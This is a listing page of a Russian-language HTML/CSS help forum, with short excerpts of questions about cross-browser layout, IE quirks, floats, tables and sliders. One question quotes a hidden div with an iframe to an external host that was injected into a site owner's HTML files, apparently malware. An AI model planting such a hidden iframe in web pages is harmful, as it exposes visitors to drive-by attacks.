HTML Coding

29542 questions in this forum

1. input, border-radius & pie

   Добрый день. Задача: нарисовать input с закругленными углами. Проблемы собсно с этим никакой нет, только вот ie7 и ie8 как то странно его рисуют: "съедают" нижний border, не могу понять в чем дело В коде ничего интересного нет: border-radius: 19px; -moz-border-radius: 19px; -webkit-border-radius: 19px; -khtml-border-radius: 19px; behavior:url('css/PIE.htc'); В итоге видим - http://pikucha.ru/i6K0H Если приглядеться, то можно увидеть, что background инпута сверху имеет отступ в 1px. Как поправить ? Заранее спасибо!

   Asked by lolka84, October 22, 2011

   0 votes
   4 answers
2. Разметка формы обратной связи

   Пример кода http://jsfiddle.net/FkWuR/ Никак не могу справится с разметкой. чуствую изначально пошел не в ту сторону, а теперь глаз замылился, вот и туплю. В идеале должно быть так: В Хроме 16, IE 8, Opera8.54 отображается примерно так как хочется. В ИЕ7 все идет столбиком. В FF поле E-mail сползает вниз. Андроидный браузер переносит поле Тема на новую строку... HTML <div class="feedback"> <form class="content2" method="post" action="index.php?id=8"> <input name="formid" value="feedbackForm" type="hidden"> <p><label accesskey="n">Имя*<input name="Name" size="20" maxlength="60" type="text"></label></p> <p><…

   Asked by Tohin, April 14, 2012

   0 votes
   6 answers
3. склеить div слои по вертикали, чтобы при масштабировании они не меняли положения

   Имеется слой shapka(на нем сверху еще три слоя): .shapka{ HEIGHT:176px; width: 940px; top: 30px; position: relative; margin:0 auto; background-color:#224179; } .risunka{position:relative; z-index:1; background-color:#224179; padding: 3px; float: left; height: 170px; } .zagolovok{ position:relative; top:-150; left:25; z-index:2; color:#FFFFFF; text-shadow: black 1px 1px 6px, red 0 0 50px; font-size:50px; float: left; /* Обтекание по правому краю */ width: 600px; text-align: right; } .registration{ padding: 5px; /* Поля вокруг текста */ width: 220px; float: right; position:relative; top:-150; z-index:3; right: 25; vertic…

   Asked by Marry1, June 14, 2012

   0 votes
   1 answer
4. Помощь в ссылках

   Доброго времени суток. Я только начинаю более углубленно изучать html и css. При первом написание сайта, столкнулся с проблемой ссылок. Дело в том, что у меня меню представляет собой таблицу с текстом (текст является ссылками) <div id="menu"> <ul> <li><a href="#" title="">О нас</a></li> <li><a href="#" title="">Новости</a></li> <li><a href="#" title="">Island-Twitter</a></li> <li><a href="#" title="">Island-VK.com</a></li> <li><a href="#" title="">кнопочка</a></li> </ul> </div> В css, при наведении на них мышко…

   Asked by Neek, July 7, 2012

   0 votes
   5 answers
5. разница cler:both

   скажите, в чем принципиальная разница между этими двумя способами? <div style="clear:both"></div> и Код HTML 1 <div class="clear"></div> Код CSS 1 .clear {clear:both; content:""; display:block; height:0; font-size:0; visibility:hidden;} кроме длины записи и наличием ненужных правил

   Asked by conformist, October 8, 2012

   0 votes
   8 answers
6. Помогите!Что мне делать?

   Проблема в том что сделал я себе галерею думал будет все хорошо но не судьба! Вот сама галерея http://gta5-fun.narod.ru/galery/galery.html Проблема в том что с низу странице пустое место (видно на скрине)оно не убирается

   Asked by Tory, October 26, 2012

   0 votes
   12 answers
7. Оформление блока графика работы

   Доброго времени суток. Очень нужен ваш совет, по оформелнию, прикрепила картинку примера Есть расписание работы, по картинке видно, что полоски по длине меняются относительно друг друга (установленного времени) Не могу определиться с методом, который использовать, сперва хотела сделать slider, но через jQuery UI Slider выйдет как-то громоздко... Есть ли метод проще или можно сделать это чисто с помощью стилей? Спасибо.

   Asked by Mary_RND, October 11, 2016

   0 votes
   2 answers
8. Высота таблиц в опере

   Если в параметрах таблицы или ее стиле задать таблице высоту 100% то опера ровняет высоту по контенту и никакие уговоры не помогают. есть ли выход?

   Asked by mmaxim, November 8, 2008

   0 votes
   1 answer
9. IE игнорирует CSS - как его завалить?

   Фрагмент кода: <head> <style> #left_menu {font-size:120%; font-weight:normal; line-height:2em; padding-left:50px} #left_menu top {background:url(images/str_black.gif) left top no-repeat; padding-left:20px; font-weight:600} </style> </head> <body> <table width="291" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="left_menu"> <top><a href="/МЕНЮ1">МЕНЮ1</a></top> <ul> <li><a href="/подменю1">подменю1</a></li> <li><a href="/подменю2">подменю2</a></li> <li><a href="/подменю3">подменю3</a></li> </ul> </td> &l…

   Asked by Jamesson, November 30, 2008

   0 votes
   4 answers
10. как подключить IE PNG Alpha Fix

    отсюда http://vengard/iepngfix/iepngfix.html

    Asked by sc@r@bey, February 25, 2010

    0 votes
    6 answers
11. max-width - проблемы

    Есть вёрстка <div id="header"> <div class="logoheader">blablalba</div> <div class="emblemsHeader">blablabla</div> <div class="textHeader">blablabla</div> </div> Есть CSS #header { height: 155px; margin-bottom: 17px; max-width: 1150px; position: relative; top: 17px; } .logoheader { float: left; margin: 0 !important; position: relative; width: 277px; z-index: 1; } .emblemsHeader { float: left; height: 153px; margin-left: -30px; overflow: hidden; position: relative; width: 129px; z-index: 0; } .textHeader { float: left; max-width: 773px; …

    Asked by sifilis, April 21, 2011

    0 votes
    5 answers
12. Первая колонка таблицы "едет" в IE

    Первая колонка во всех браузерах узкая с маленькими буквами, а в IE нет. Сверил со справочником, все стили в IE должны работать. <style> #plan td { width: 32px; background-image: none; background-repeat: no-repeat; height: 32px; border: 1px; border-style: solid; border-color: black; vertical-align: top; } #plan tbody td:first-child { width: 5px; background-image: none; border: none; font-size: 6pt; text-align: center; padding-top: 10px; } #plan thead td:first-child { width: 5px; background-image: none; border: none; font-size: 12pt; } #plan { background-image: none; float: left; BORDER-COLLAPSE:collapse; cellpadding: 0; cellspacing: 0; } #plan a{ position: absolu…

    Asked by kastrulya001, May 8, 2011

    0 votes
    9 answers
13. Проблема с понимание работы margin

    Здравствуйте.Не могу понять поведения боксовой модели.Ниже код <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Тест</title> <style type="text/css"> #box1 { margin:0 auto; width:800px; height:100px; background-color:#F00; } #box2 { margin-top:10px; width:100px; background-color:#0F0; height:100px; } </style> </head> <body> <div id="box1"> <div id="box2"> </div> </div> </body> </html> Т.е. у меня есть родительский див с фиксировано высотой и шириной и дочерний.Не понимаю - почему при объявлении свойства m…

    Asked by LanCasterUser, December 3, 2011

    0 votes
    6 answers
14. Для мастеров блочной вёрстки

    Задача - сверстать следующий тулбар (серый вверху рисунка). Проблема в резиновости ширины. Контент может сужаться, и когда элементам "не хватает места", при блочной вёрстке они перескакивают на следующую строку. Необходимо, чтобы элементы оставались в одной строке, а при сжатии окна, если по ширине им места не хватает, то появлялась бы горизонтальная полоса прокрутки у окна браузера. Фактически, задача - с помощью блочной вёрстки точно симулировать табличную вёрстку, как если бы тулбар был рядом таблицы. Элементы с переменной шириной (извините, неверно написал на рисунке) указаны, у остальных можно считать, что ширина фиксирована. ЗЫ: я в итоге бросил эту затею и све…

    Asked by Serg@NT, October 22, 2014

    0 votes
    9 answers
15. Проблема с позиционированием блока относительно родителья

    Всем привет. При верстке возникла проблема. В header е есть ссылка при ховере на котором появляется выпадашка. У ссылки и выпадашки есть блок-родитель. Выпадашка отпозиционирован absolute ом относительно родителя. Внутри выпашдашки 3 пункта. В каждом пункте-ссылке есть теги i и spam для FA иконки и текста. Проблема в том, что при позиционирование блока смещением на право, после left: 154px текст автоматически переноситься на следующую строку. Вот фиддл. Никак не могу отловить в чем моя ошибка и как решить его. Спасибо заранее!

    Asked by parnas, August 19, 2016

    • absolute
    • relative
    • position
    0 votes
    5 answers
16. Slick slider нужна помощь?

    Ребят, есть вот такой вертикальный слайдер сделанный на Slick. Проблема в том, что высота нашей пагинации ограничена. Например у нас сейчас есть пять слайдов, в пагинацию помещается только 4. То-есть если мы пролистываем до пятого слайда, в пагинации это не отображается, она остается на месте. Можно как-то сделать, чтобы когда мы переключали слайдер на пятый слайд, пагинация тоже делал слайд и переключалась.

    Asked by sorrow43, January 9, 2018

    1 vote
    2 answers
17. Скорость сайта и регистратор домена

    Влияет ли расположение регистратора доменного имени на скорость сайта? Допустим я зарегистрирую сайтик.com на отечественном сервисе и на зарубежном - будет ли реальная разница во времени доступа к сайту или нет(ничтожно мала разница?)?

    Asked by Garamond, May 4, 2018

    0 votes
    2 answers
18. Появление нового блока при большом разрешении

    Дано: резиновый сайт, скелет сверстан на таблице. Надо: при разрешении 1280 и выше по горизонтали показывать справа дополнительный блок с банерами. Придумал решение на js, проверяю document.body.offsetWidth и скрываю или показываю этот столбец (по умолчанию он скрыт). В принципе работает, только страница при загрузке скачет (сначала разворачивается, потом после загрузки графики схлопывается и появляется баннер). Можно ли другим способом сделать задуманное?

    Asked by Alexxx2783, December 10, 2007

    0 votes
    2 answers
19. table 100% в блочной верстке

    Здравствуйте, столкнулся с такой проблемой: имеется верстка такого вида —————————————————————-- | | | | | | | | | | | | float:left; | ширина не задана | float: right; | ширина: | | ширина: | фиксир. | | фиксир. | | | | | | | —————————————————————-- При вставке в центральную часть <table width="100%"> <tr> .... some code.... </tr> </table> Таблица уходит под левую часть. как исправить? CSS: /* CSS Document */ *{margin:0px; padding:0px;} img{border:none;} img.png{behavior:url("png.htc");} html{ height:100%; } body{ height:100%; font-family:"Tahoma"; font-size:11px; color:#000; background:url(../images/texture.jpg); } body a{ color…

    Asked by DiMas, April 5, 2008

    0 votes
    1 answer
20. Проблемы с тегом в IE

    Информация для клиентов(к примеру) В этом случае Opera показывает кнопку и переходит по ссылке, но IE7 показывает кнопку, а переходить по ссылке отказывается. Как заставить его понимать?

    Asked by Njum, April 13, 2008

    0 votes
    2 answers
21. Свой курсор

    Можно ли в стилях указать свой курсор, который нарисован в файле формата .cur?

    Asked by Veseloff, October 3, 2008

    0 votes
    1 answer
22. Цвет текста в заблокированной кнопке.

    Есть копка отправки формы, input=submit. В стиле кнопки прописан цвет текста: color: black; Если кнопку заблокировать - поставить параметр disabled, то цвет кнопки станет серым. Но это только в IE. В FF остаётся чёрным. Как сделать, чтобы при блокировке кнопки, цвет текста становился серым и в FF и в др. браузерах?

    Asked by Flake, October 12, 2008

    0 votes
    1 answer
23. Прошу совета, на серваке в штмл файлах появляется бог знает что...

    С завидной регулярностью в HTML коде появляется вот такая ересь: <body id="page5"><div style="display:none">lazwlewufzhcycdvamfcxprsyoqvljy<iframe width=130 height=658 src="http://privius-life.ru:8080/index.php" ></iframe></div> хотя я сам лично пишу только вот это: <body id="page5"> Что это такое и откуда оно берется??? И самое главное как с этим бороться??? И самое интересное что эта ерунда появляется во всех файлах штмл.

    Asked by svoik, October 2, 2009

    0 votes
    8 answers
24. overflow: hidden и position: relative

    Добрый день уважаемые форумчане, собственно столкнулся с проблемой, только с IE 8 вот ссылка h++p://esh-te.ru/ на сайт где видно, что в IE 8 блок с картинками раздвигается и 4-ая картинка спускается вниз. В других браузерах все в порядке. Подскажите пожалуйста в чем может быть проблема? почитал и попробовал разные варианты с overflow: hidden и position: relative нечего не получается

    Asked by dfg, June 25, 2010

    0 votes
    3 answers
25. Стили HTML и CSS кода

    Какие бывают стили HTML и CSS кода? И может быть существует специальная программа для преобразования обычного кода в читабельный?

    Asked by Gnom7, July 17, 2010

    0 votes
    5 answers